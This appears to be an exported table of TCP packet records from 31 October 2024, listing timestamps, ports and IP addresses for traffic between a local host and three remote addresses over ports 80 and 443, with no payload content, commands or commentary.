Oct 31, 2024 17:26:33.576086044 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.576092958 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.576103926 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.576114893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.576116085 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.576128960 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.576141119 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.576153040 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.576157093 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.576164961 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.576168060 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.576176882 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.576178074 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.576200008 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.576217890 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:34.057872057 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:34.057904005 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:34.065376997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:34.065391064 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:34.834501028 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:34.834779978 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:34.884572029 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:34.889782906 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:35.165234089 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:35.165260077 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:35.165306091 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:35.165323019 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:35.165329933 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:35.165374041 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:35.165374041 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:35.168833971 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:35.174488068 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:35.449747086 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:35.449830055 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:35.463150978 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:35.468055010 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:36.231059074 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:36.231159925 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:36.258126020 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:36.263088942 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:36.539530039 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:36.539657116 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:36.541117907 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:36.545953035 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:37.468859911 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:37.468930960 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:39.529294014 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:55.829668045 CET	62833	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:55.829708099 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:55.829771996 CET	62833	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:55.830204964 CET	62833	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:55.830219030 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.695578098 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.695683956 CET	62833	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:56.699800014 CET	62833	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:56.699806929 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.700191021 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.709002018 CET	62833	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:56.754996061 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:56.755052090 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:56.755121946 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:56.755326986 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.755489111 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:56.755513906 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:56.990067005 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.990099907 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.990119934 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.990221977 CET	62833	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:56.990241051 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.990288973 CET	62833	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:56.991388083 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.991420031 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.991441965 CET	62833	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:56.991446972 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.991470098 CET	62833	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:56.991717100 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.991770983 CET	62833	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:56.994729996 CET	62833	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:56.994745016 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:56.994765043 CET	62833	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:56.994771004 CET	443	62833	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:57.489531040 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.489625931 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.493726969 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.493756056 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.494030952 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.520210981 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.567331076 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.725981951 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.726012945 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.726027012 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.726188898 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.726218939 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.726270914 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.768486023 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.768515110 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.768795013 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.768824100 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.768996000 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.843343973 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.843372107 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.843508959 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.843544006 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.843601942 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.884530067 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.884548903 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.884651899 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.884680986 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.884735107 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.886985064 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.887005091 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.887070894 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.887088060 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.887140989 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.930011988 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.930028915 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.930138111 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.930216074 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.930274010 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.961200953 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.961221933 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.961323023 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:57.961344004 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:57.962553024 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.000396967 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.000416040 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.000508070 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.000528097 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.000602007 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.002338886 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.002356052 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.002415895 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.002429962 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.002484083 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.004043102 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.004061937 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.004133940 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.004148960 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.004215002 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.005846977 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.005862951 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.005932093 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.005945921 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.006190062 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.007205963 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.007220984 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.007276058 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.007291079 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.007339954 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.085372925 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.085402966 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.085444927 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.085455894 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.085472107 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.085505962 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.085534096 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.085542917 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.085717916 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.088121891 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.088123083 CET	62834	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.088155985 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.088179111 CET	443	62834	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.175914049 CET	62835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.175947905 CET	443	62835	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.176018953 CET	62835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.182224035 CET	62836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.182317972 CET	443	62836	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.182404995 CET	62836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.186063051 CET	62837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.186091900 CET	443	62837	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.186238050 CET	62837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.186634064 CET	62838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.186661005 CET	443	62838	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.186733007 CET	62838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.186914921 CET	62838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.186964989 CET	443	62838	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.187057972 CET	62839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.187067032 CET	443	62839	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.187098026 CET	62837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.187112093 CET	443	62837	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.187120914 CET	62839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.187285900 CET	62835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.187298059 CET	443	62835	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.187315941 CET	62839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.187325001 CET	443	62839	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.187427044 CET	62836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.187458992 CET	443	62836	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.941215992 CET	443	62836	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.941843987 CET	62836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.941874027 CET	443	62836	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.942034960 CET	443	62835	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.942151070 CET	443	62838	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.942395926 CET	62836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.942403078 CET	443	62836	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.942502022 CET	62835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.942528009 CET	443	62835	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.942681074 CET	62838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.942686081 CET	443	62838	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.942955971 CET	62835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.942961931 CET	443	62835	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.943085909 CET	62838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.943089962 CET	443	62838	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.965375900 CET	443	62839	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.967242956 CET	62839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.967266083 CET	443	62839	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.967649937 CET	62839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.967655897 CET	443	62839	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.978092909 CET	443	62837	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.979089022 CET	62837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.979099035 CET	443	62837	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:58.979476929 CET	62837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:58.979481936 CET	443	62837	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.071538925 CET	443	62838	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.071563005 CET	443	62838	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.071605921 CET	443	62838	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.071655035 CET	62838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.071682930 CET	443	62835	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.071691990 CET	62838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.071717024 CET	443	62835	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.071765900 CET	443	62835	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.071779013 CET	62835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.071805000 CET	62835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.072056055 CET	62838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.072071075 CET	443	62838	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.072082043 CET	62835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.072084904 CET	62838	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.072088957 CET	443	62838	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.072102070 CET	443	62835	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.072113037 CET	62835	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.072118998 CET	443	62835	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.075680017 CET	62840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.075716972 CET	62841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.075721025 CET	443	62840	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.075764894 CET	443	62841	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.075787067 CET	62840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.075855017 CET	62841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.075984955 CET	62840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.075985909 CET	62841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.076000929 CET	443	62841	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.076001883 CET	443	62840	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.080746889 CET	443	62836	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.080766916 CET	443	62836	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.080820084 CET	443	62836	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.080826998 CET	62836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.080866098 CET	62836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.081026077 CET	62836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.081032038 CET	443	62836	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.081042051 CET	62836	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.081046104 CET	443	62836	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.083158970 CET	62842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.083194017 CET	443	62842	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.083265066 CET	62842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.083395004 CET	62842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.083409071 CET	443	62842	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.101202965 CET	443	62839	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.101429939 CET	443	62839	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.101478100 CET	62839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.101507902 CET	62839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.101531029 CET	443	62839	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.101542950 CET	62839	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.101550102 CET	443	62839	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.103458881 CET	62843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.103493929 CET	443	62843	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.103560925 CET	62843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.103674889 CET	62843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.103686094 CET	443	62843	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.107209921 CET	443	62837	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.107266903 CET	443	62837	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.107439995 CET	62837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.107439995 CET	62837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.107456923 CET	62837	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.107460976 CET	443	62837	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.109288931 CET	62844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.109314919 CET	443	62844	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.109379053 CET	62844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.109484911 CET	62844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.109493971 CET	443	62844	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.816718102 CET	443	62840	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.817233086 CET	443	62841	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.817372084 CET	62840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.817392111 CET	443	62840	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.818126917 CET	62840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.818131924 CET	443	62840	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.818486929 CET	62841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.818522930 CET	443	62841	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.819176912 CET	62841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.819188118 CET	443	62841	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.833745003 CET	443	62843	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.834172010 CET	62843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.834182978 CET	443	62843	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.834640980 CET	443	62842	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.834754944 CET	62843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.834760904 CET	443	62843	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.835123062 CET	62842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.835139990 CET	443	62842	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.840814114 CET	62842	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.840821981 CET	443	62842	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.872842073 CET	443	62844	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.879543066 CET	62844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.879559994 CET	443	62844	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.880470991 CET	62844	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.880476952 CET	443	62844	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.947304010 CET	443	62840	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.947491884 CET	443	62840	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.947546959 CET	62840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.947666883 CET	62840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.947689056 CET	443	62840	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.947700024 CET	62840	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.947705984 CET	443	62840	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.950892925 CET	62845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.950961113 CET	443	62845	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.951039076 CET	62845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.951190948 CET	62845	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.951220036 CET	443	62845	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.953974009 CET	443	62841	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.954257011 CET	443	62841	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.954305887 CET	62841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.954343081 CET	62841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.954363108 CET	443	62841	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.954372883 CET	62841	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.954379082 CET	443	62841	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.956459999 CET	62846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.956496000 CET	443	62846	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.956556082 CET	62846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.956696987 CET	62846	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.956712961 CET	443	62846	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.963587046 CET	443	62843	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.964025021 CET	443	62843	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.964072943 CET	62843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.964111090 CET	62843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.964116096 CET	443	62843	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.964124918 CET	62843	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.964128017 CET	443	62843	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.965972900 CET	62847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.965985060 CET	443	62847	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.966059923 CET	62847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.966192961 CET	62847	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:26:59.966202974 CET	443	62847	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.967991114 CET	443	62842	13.107.246.45	192.168.2.4
Oct 31, 2024 17:26:59.968053102 CET	443	62842	13.107.246.45	192.168.2.4
